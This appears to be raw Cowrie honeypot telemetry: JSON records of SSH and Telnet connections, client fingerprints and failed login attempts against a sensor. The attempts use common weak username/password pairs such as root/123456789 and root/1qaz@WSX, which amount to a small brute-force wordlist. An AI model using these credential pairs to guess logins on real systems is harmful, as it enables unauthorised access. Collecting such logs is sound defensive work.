{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:31:45.745347Z","src_ip":"192.109.200.78","session":"449d647452ca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.207.4.157","src_port":47596,"dst_ip":"159.203.135.109","dst_port":22,"session":"32ab8290a989","protocol":"ssh","message":"New connection: 92.207.4.157:47596 (159.203.135.109:22) [session: 32ab8290a989]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:31:46.591397Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:31:46.595903Z","src_ip":"92.207.4.157","session":"32ab8290a989","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:31:46.694513Z","src_ip":"92.207.4.157","session":"32ab8290a989","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"database","password":"1234","message":"login attempt [database/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:31:47.128202Z","src_ip":"92.207.4.157","session":"32ab8290a989","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":55940,"dst_ip":"10.17.0.5","dst_port":22,"session":"2df14decf45f","protocol":"ssh","message":"New connection: 192.109.200.78:55940 (10.17.0.5:22) [session: 2df14decf45f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:31:47.612204Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:31:47.634117Z","src_ip":"192.109.200.78","session":"2df14decf45f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:31:47.813598Z","src_ip":"192.109.200.78","session":"2df14decf45f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"qwe123456","message":"login attempt [user/qwe123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:31:48.084577Z","src_ip":"192.109.200.78","session":"2df14decf45f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:31:48.228226Z","src_ip":"92.207.4.157","session":"32ab8290a989","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:31:49.168239Z","src_ip":"192.109.200.78","session":"2df14decf45f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":55952,"dst_ip":"10.17.0.5","dst_port":22,"session":"0cece0094f83","protocol":"ssh","message":"New connection: 192.109.200.78:55952 (10.17.0.5:22) [session: 0cece0094f83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:31:51.102384Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:31:51.106183Z","src_ip":"192.109.200.78","session":"0cece0094f83","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:31:51.186687Z","src_ip":"192.109.200.78","session":"0cece0094f83","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"123456","message":"login attempt [minecraft/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:31:51.431022Z","src_ip":"192.109.200.78","session":"0cece0094f83","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:31:52.517025Z","src_ip":"192.109.200.78","session":"0cece0094f83","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":42104,"dst_ip":"10.17.0.5","dst_port":22,"session":"da8a567f4d3a","protocol":"ssh","message":"New connection: 192.109.200.78:42104 (10.17.0.5:22) [session: da8a567f4d3a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:31:54.326125Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:31:54.329600Z","src_ip":"192.109.200.78","session":"da8a567f4d3a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:31:54.411778Z","src_ip":"192.109.200.78","session":"da8a567f4d3a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qwerty123","message":"login attempt [root/Qwerty123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:31:54.655823Z","src_ip":"192.109.200.78","session":"da8a567f4d3a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:31:55.739814Z","src_ip":"192.109.200.78","session":"da8a567f4d3a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":42106,"dst_ip":"10.17.0.5","dst_port":22,"session":"c1bfaa770ef9","protocol":"ssh","message":"New connection: 192.109.200.78:42106 (10.17.0.5:22) [session: c1bfaa770ef9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:31:57.450637Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:31:57.455386Z","src_ip":"192.109.200.78","session":"c1bfaa770ef9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:31:57.675172Z","src_ip":"192.109.200.78","session":"c1bfaa770ef9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":60614,"dst_ip":"159.203.135.109","dst_port":23,"session":"7a1ee306f120","protocol":"telnet","message":"New connection: 172.81.62.90:60614 (159.203.135.109:23) [session: 7a1ee306f120]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:31:57.750286Z"}
{"eventid":"cowrie.login.failed","username":"claude","password":"12345678","message":"login attempt [claude/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:31:57.996639Z","src_ip":"192.109.200.78","session":"c1bfaa770ef9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:31:59.080851Z","src_ip":"192.109.200.78","session":"c1bfaa770ef9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":42112,"dst_ip":"10.17.0.5","dst_port":22,"session":"4e0fd36fa7d2","protocol":"ssh","message":"New connection: 192.109.200.78:42112 (10.17.0.5:22) [session: 4e0fd36fa7d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:32:00.970297Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:32:00.974912Z","src_ip":"192.109.200.78","session":"4e0fd36fa7d2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:32:01.056441Z","src_ip":"192.109.200.78","session":"4e0fd36fa7d2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz@WSX","message":"login attempt [root/1qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:32:01.303430Z","src_ip":"192.109.200.78","session":"4e0fd36fa7d2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:32:02.388260Z","src_ip":"192.109.200.78","session":"4e0fd36fa7d2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":53720,"dst_ip":"10.17.0.5","dst_port":22,"session":"649351271077","protocol":"ssh","message":"New connection: 192.109.200.78:53720 (10.17.0.5:22) [session: 649351271077]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:32:04.247141Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:32:04.302985Z","src_ip":"192.109.200.78","session":"649351271077","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:32:04.384720Z","src_ip":"192.109.200.78","session":"649351271077","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456789","message":"login attempt [root/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:32:04.628457Z","src_ip":"192.109.200.78","session":"649351271077","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:32:05.712265Z","src_ip":"192.109.200.78","session":"649351271077","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":53732,"dst_ip":"10.17.0.5","dst_port":22,"session":"4469aa726ca2","protocol":"ssh","message":"New connection: 192.109.200.78:53732 (10.17.0.5:22) [session: 4469aa726ca2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:32:07.675569Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:32:07.680510Z","src_ip":"192.109.200.78","session":"4469aa726ca2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:32:07.764966Z","src_ip":"192.109.200.78","session":"4469aa726ca2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"developer","password":"12345","message":"login attempt [developer/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:32:08.195653Z","src_ip":"192.109.200.78","session":"4469aa726ca2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:32:09.280832Z","src_ip":"192.109.200.78","session":"4469aa726ca2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":53748,"dst_ip":"10.17.0.5","dst_port":22,"session":"48030fbff597","protocol":"ssh","message":"New connection: 192.109.200.78:53748 (10.17.0.5:22) [session: 48030fbff597]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:32:11.353173Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:32:11.357276Z","src_ip":"192.109.200.78","session":"48030fbff597","protocol":"ssh"}
